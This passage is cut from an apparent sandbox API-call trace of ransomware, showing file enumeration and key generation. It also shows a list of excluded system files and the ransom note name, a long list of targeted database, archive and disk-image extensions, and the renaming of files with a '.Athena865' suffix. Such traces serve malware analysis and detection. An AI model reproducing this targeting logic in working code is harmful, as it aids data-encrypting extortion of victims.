Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.010] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519448 [0051.010] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5194d0) returned 1 [0051.011] CryptGenRandom (in: hProv=0x5194d0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.011] CryptReleaseContext (hProv=0x5194d0, dwFlags=0x0) returned 1 [0051.011] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x154 [0051.026] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000 [0051.037] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5194d0) returned 1 [0051.050] CryptGenRandom (in: hProv=0x5194d0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.053] CryptReleaseContext (hProv=0x5194d0, dwFlags=0x0) returned 1 [0051.056] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50b840 [0051.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.059] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b840 [0051.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b840 | out: hHeap=0x4f0000) returned 1 [0051.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.064] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.065] CloseHandle (hObject=0x154) returned 1 [0051.066] CloseHandle (hObject=0x17c) returned 1 [0051.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519448 | out: hHeap=0x4f0000) returned 1 [0051.067] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.068] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="windows") returned -1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="bootmgr") returned 1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="temp") returned -1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="pagefile.sys") returned -1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="boot") returned 1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ids.txt") returned -1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="ntuser.dat") returned -1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="perflogs") returned -1 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2="MSBuild") returned -1 [0051.068] lstrlenW (lpString="Desktop.lnk") returned 11 [0051.068] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Desktop.lnk" | out: lpString1="Desktop.lnk") returned="Desktop.lnk" [0051.068] lstrlenW (lpString="Desktop.lnk") returned 11 [0051.068] lstrlenW (lpString="Athena865") returned 9 [0051.068] lstrcmpiW (lpString1="sktop.lnk", lpString2="Athena865") returned 1 [0051.068] lstrlenW (lpString=".dll") returned 4 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".dll") returned 1 [0051.068] lstrlenW (lpString=".lnk") returned 4 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".lnk") returned 1 [0051.068] lstrlenW (lpString=".ini") returned 4 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".ini") returned 1 [0051.068] lstrlenW (lpString=".sys") returned 4 [0051.068] lstrcmpiW (lpString1="Desktop.lnk", lpString2=".sys") returned 1 [0051.069] lstrlenW (lpString="Desktop.lnk") returned 11 [0051.069] lstrlenW (lpString="bak") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0051.069] lstrlenW (lpString="ba_") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0051.069] lstrlenW (lpString="dbb") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0051.069] lstrlenW (lpString="vmdk") returned 4 [0051.069] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0051.069] lstrlenW (lpString="rar") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0051.069] lstrlenW (lpString="zip") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0051.069] lstrlenW (lpString="tgz") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0051.069] lstrlenW (lpString="vbox") returned 4 [0051.069] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0051.069] lstrlenW (lpString="vdi") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0051.069] lstrlenW (lpString="vhd") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0051.069] lstrlenW (lpString="vhdx") returned 4 [0051.069] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0051.069] lstrlenW (lpString="avhd") returned 4 [0051.069] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0051.069] lstrlenW (lpString="db") returned 2 [0051.069] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0051.069] lstrlenW (lpString="db2") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0051.069] lstrlenW (lpString="db3") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0051.069] lstrlenW (lpString="dbf") returned 3 [0051.069] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0051.069] lstrlenW (lpString="mdf") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0051.070] lstrlenW (lpString="mdb") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0051.070] lstrlenW (lpString="sql") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0051.070] lstrlenW (lpString="sqlite") returned 6 [0051.070] lstrcmpiW (lpString1="op.lnk", lpString2="sqlite") returned -1 [0051.070] lstrlenW (lpString="sqlite3") returned 7 [0051.070] lstrcmpiW (lpString1="top.lnk", lpString2="sqlite3") returned 1 [0051.070] lstrlenW (lpString="sqlitedb") returned 8 [0051.070] lstrcmpiW (lpString1="ktop.lnk", lpString2="sqlitedb") returned -1 [0051.070] lstrlenW (lpString="xml") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0051.070] lstrlenW (lpString="$er") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0051.070] lstrlenW (lpString="4dd") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0051.070] lstrlenW (lpString="4dl") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0051.070] lstrlenW (lpString="^^^") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0051.070] lstrlenW (lpString="abs") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0051.070] lstrlenW (lpString="abx") returned 3 [0051.070] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0051.070] lstrlenW (lpString="accdb") returned 5 [0051.070] lstrcmpiW (lpString1="p.lnk", lpString2="accdb") returned 1 [0051.070] lstrlenW (lpString="accdc") returned 5 [0051.070] lstrcmpiW (lpString1="p.lnk", lpString2="accdc") returned 1 [0051.070] lstrlenW (lpString="accde") returned 5 [0051.070] lstrcmpiW (lpString1="p.lnk", lpString2="accde") returned 1 [0051.070] lstrlenW (lpString="accdr") returned 5 [0051.070] lstrcmpiW (lpString1="p.lnk", lpString2="accdr") returned 1 [0051.070] lstrlenW (lpString="accdt") returned 5 [0051.071] lstrcmpiW (lpString1="p.lnk", lpString2="accdt") returned 1 [0051.071] lstrlenW (lpString="accdw") returned 5 [0051.071] lstrcmpiW (lpString1="p.lnk", lpString2="accdw") returned 1 [0051.071] lstrlenW (lpString="accft") returned 5 [0051.071] lstrcmpiW (lpString1="p.lnk", lpString2="accft") returned 1 [0051.071] lstrlenW (lpString="adb") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.071] lstrlenW (lpString="adb") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0051.071] lstrlenW (lpString="ade") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0051.071] lstrlenW (lpString="adf") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0051.071] lstrlenW (lpString="adn") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0051.071] lstrlenW (lpString="adp") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0051.071] lstrlenW (lpString="alf") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0051.071] lstrlenW (lpString="ask") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0051.071] lstrlenW (lpString="btr") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0051.071] lstrlenW (lpString="cat") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0051.071] lstrlenW (lpString="cdb") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0051.071] lstrlenW (lpString="ckp") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0051.071] lstrlenW (lpString="cma") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0051.071] lstrlenW (lpString="cpd") returned 3 [0051.071] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0051.071] lstrlenW (lpString="dacpac") returned 6 [0051.072] lstrcmpiW (lpString1="op.lnk", lpString2="dacpac") returned 1 [0051.072] lstrlenW (lpString="dad") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0051.072] lstrlenW (lpString="dadiagrams") returned 10 [0051.072] lstrcmpiW (lpString1="esktop.lnk", lpString2="dadiagrams") returned 1 [0051.072] lstrlenW (lpString="daschema") returned 8 [0051.072] lstrcmpiW (lpString1="ktop.lnk", lpString2="daschema") returned 1 [0051.072] lstrlenW (lpString="db-journal") returned 10 [0051.072] lstrcmpiW (lpString1="esktop.lnk", lpString2="db-journal") returned 1 [0051.072] lstrlenW (lpString="db-shm") returned 6 [0051.072] lstrcmpiW (lpString1="op.lnk", lpString2="db-shm") returned 1 [0051.072] lstrlenW (lpString="db-wal") returned 6 [0051.072] lstrcmpiW (lpString1="op.lnk", lpString2="db-wal") returned 1 [0051.072] lstrlenW (lpString="dbc") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0051.072] lstrlenW (lpString="dbs") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0051.072] lstrlenW (lpString="dbt") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0051.072] lstrlenW (lpString="dbv") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0051.072] lstrlenW (lpString="dbx") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0051.072] lstrlenW (lpString="dcb") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0051.072] lstrlenW (lpString="dct") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0051.072] lstrlenW (lpString="dcx") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0051.072] lstrlenW (lpString="ddl") returned 3 [0051.072] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0051.072] lstrlenW (lpString="dlis") returned 4 [0051.072] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0051.072] lstrlenW (lpString="dp1") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0051.073] lstrlenW (lpString="dqy") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0051.073] lstrlenW (lpString="dsk") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0051.073] lstrlenW (lpString="dsn") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0051.073] lstrlenW (lpString="dtsx") returned 4 [0051.073] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0051.073] lstrlenW (lpString="dxl") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0051.073] lstrlenW (lpString="eco") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0051.073] lstrlenW (lpString="ecx") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0051.073] lstrlenW (lpString="edb") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0051.073] lstrlenW (lpString="epim") returned 4 [0051.073] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0051.073] lstrlenW (lpString="fcd") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0051.073] lstrlenW (lpString="fdb") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0051.073] lstrlenW (lpString="fic") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0051.073] lstrlenW (lpString="flexolibrary") returned 12 [0051.073] lstrlenW (lpString="fm5") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0051.073] lstrlenW (lpString="fmp") returned 3 [0051.073] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0051.073] lstrlenW (lpString="fmp12") returned 5 [0051.073] lstrcmpiW (lpString1="p.lnk", lpString2="fmp12") returned 1 [0051.073] lstrlenW (lpString="fmpsl") returned 5 [0051.073] lstrcmpiW (lpString1="p.lnk", lpString2="fmpsl") returned 1 [0051.074] lstrlenW (lpString="fol") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0051.074] lstrlenW (lpString="fp3") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0051.074] lstrlenW (lpString="fp4") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0051.074] lstrlenW (lpString="fp5") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0051.074] lstrlenW (lpString="fp7") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0051.074] lstrlenW (lpString="fpt") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0051.074] lstrlenW (lpString="frm") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0051.074] lstrlenW (lpString="gdb") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0051.074] lstrlenW (lpString="gdb") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0051.074] lstrlenW (lpString="grdb") returned 4 [0051.074] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0051.074] lstrlenW (lpString="gwi") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0051.074] lstrlenW (lpString="hdb") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0051.074] lstrlenW (lpString="his") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0051.074] lstrlenW (lpString="ib") returned 2 [0051.074] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0051.074] lstrlenW (lpString="idb") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0051.074] lstrlenW (lpString="ihx") returned 3 [0051.074] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0051.074] lstrlenW (lpString="itdb") returned 4 [0051.074] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0051.075] lstrlenW (lpString="itw") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0051.075] lstrlenW (lpString="jet") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0051.075] lstrlenW (lpString="jtx") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0051.075] lstrlenW (lpString="kdb") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0051.075] lstrlenW (lpString="kexi") returned 4 [0051.075] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0051.075] lstrlenW (lpString="kexic") returned 5 [0051.075] lstrcmpiW (lpString1="p.lnk", lpString2="kexic") returned 1 [0051.075] lstrlenW (lpString="kexis") returned 5 [0051.075] lstrcmpiW (lpString1="p.lnk", lpString2="kexis") returned 1 [0051.075] lstrlenW (lpString="lgc") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0051.075] lstrlenW (lpString="lwx") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0051.075] lstrlenW (lpString="maf") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0051.075] lstrlenW (lpString="maq") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0051.075] lstrlenW (lpString="mar") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0051.075] lstrlenW (lpString="marshal") returned 7 [0051.075] lstrcmpiW (lpString1="top.lnk", lpString2="marshal") returned 1 [0051.075] lstrlenW (lpString="mas") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0051.075] lstrlenW (lpString="mav") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0051.075] lstrlenW (lpString="maw") returned 3 [0051.075] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0051.075] lstrlenW (lpString="mdbhtml") returned 7 [0051.075] lstrcmpiW (lpString1="top.lnk", lpString2="mdbhtml") returned 1 [0051.076] lstrlenW (lpString="mdn") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0051.076] lstrlenW (lpString="mdt") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0051.076] lstrlenW (lpString="mfd") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0051.076] lstrlenW (lpString="mpd") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0051.076] lstrlenW (lpString="mrg") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0051.076] lstrlenW (lpString="mud") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0051.076] lstrlenW (lpString="mwb") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0051.076] lstrlenW (lpString="myd") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0051.076] lstrlenW (lpString="ndf") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0051.076] lstrlenW (lpString="nnt") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0051.076] lstrlenW (lpString="nrmlib") returned 6 [0051.076] lstrcmpiW (lpString1="op.lnk", lpString2="nrmlib") returned 1 [0051.076] lstrlenW (lpString="ns2") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0051.076] lstrlenW (lpString="ns3") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0051.076] lstrlenW (lpString="ns4") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0051.076] lstrlenW (lpString="nsf") returned 3 [0051.076] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0051.077] lstrlenW (lpString="nv") returned 2 [0051.077] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0051.077] lstrlenW (lpString="nv2") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0051.077] lstrlenW (lpString="nwdb") returned 4 [0051.077] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0051.077] lstrlenW (lpString="nyf") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0051.077] lstrlenW (lpString="odb") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0051.077] lstrlenW (lpString="odb") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0051.077] lstrlenW (lpString="oqy") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0051.077] lstrlenW (lpString="ora") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0051.077] lstrlenW (lpString="orx") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0051.077] lstrlenW (lpString="owc") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0051.077] lstrlenW (lpString="p96") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0051.077] lstrlenW (lpString="p97") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0051.077] lstrlenW (lpString="pan") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0051.077] lstrlenW (lpString="pdb") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0051.077] lstrlenW (lpString="pdm") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0051.077] lstrlenW (lpString="pnz") returned 3 [0051.077] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0051.077] lstrlenW (lpString="qry") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0051.078] lstrlenW (lpString="qvd") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0051.078] lstrlenW (lpString="rbf") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0051.078] lstrlenW (lpString="rctd") returned 4 [0051.078] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0051.078] lstrlenW (lpString="rod") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0051.078] lstrlenW (lpString="rodx") returned 4 [0051.078] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0051.078] lstrlenW (lpString="rpd") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0051.078] lstrlenW (lpString="rsd") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0051.078] lstrlenW (lpString="sas7bdat") returned 8 [0051.078] lstrcmpiW (lpString1="ktop.lnk", lpString2="sas7bdat") returned -1 [0051.078] lstrlenW (lpString="sbf") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0051.078] lstrlenW (lpString="scx") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0051.078] lstrlenW (lpString="sdb") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0051.078] lstrlenW (lpString="sdc") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0051.078] lstrlenW (lpString="sdf") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0051.078] lstrlenW (lpString="sis") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0051.078] lstrlenW (lpString="spq") returned 3 [0051.078] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0051.078] lstrlenW (lpString="te") returned 2 [0051.078] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0051.078] lstrlenW (lpString="teacher") returned 7 [0051.079] lstrcmpiW (lpString1="top.lnk", lpString2="teacher") returned 1 [0051.079] lstrlenW (lpString="tmd") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0051.079] lstrlenW (lpString="tps") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0051.079] lstrlenW (lpString="trc") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0051.079] lstrlenW (lpString="trc") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0051.079] lstrlenW (lpString="trm") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0051.079] lstrlenW (lpString="udb") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0051.079] lstrlenW (lpString="udl") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0051.079] lstrlenW (lpString="usr") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0051.079] lstrlenW (lpString="v12") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0051.079] lstrlenW (lpString="vis") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0051.079] lstrlenW (lpString="vpd") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0051.079] lstrlenW (lpString="vvv") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0051.079] lstrlenW (lpString="wdb") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0051.079] lstrlenW (lpString="wmdb") returned 4 [0051.079] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0051.079] lstrlenW (lpString="wrk") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0051.079] lstrlenW (lpString="xdb") returned 3 [0051.079] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0051.079] lstrlenW (lpString="xld") returned 3 [0051.080] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0051.080] lstrlenW (lpString="xmlff") returned 5 [0051.080] lstrcmpiW (lpString1="p.lnk", lpString2="xmlff") returned -1 [0051.080] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.Athena865") returned 74 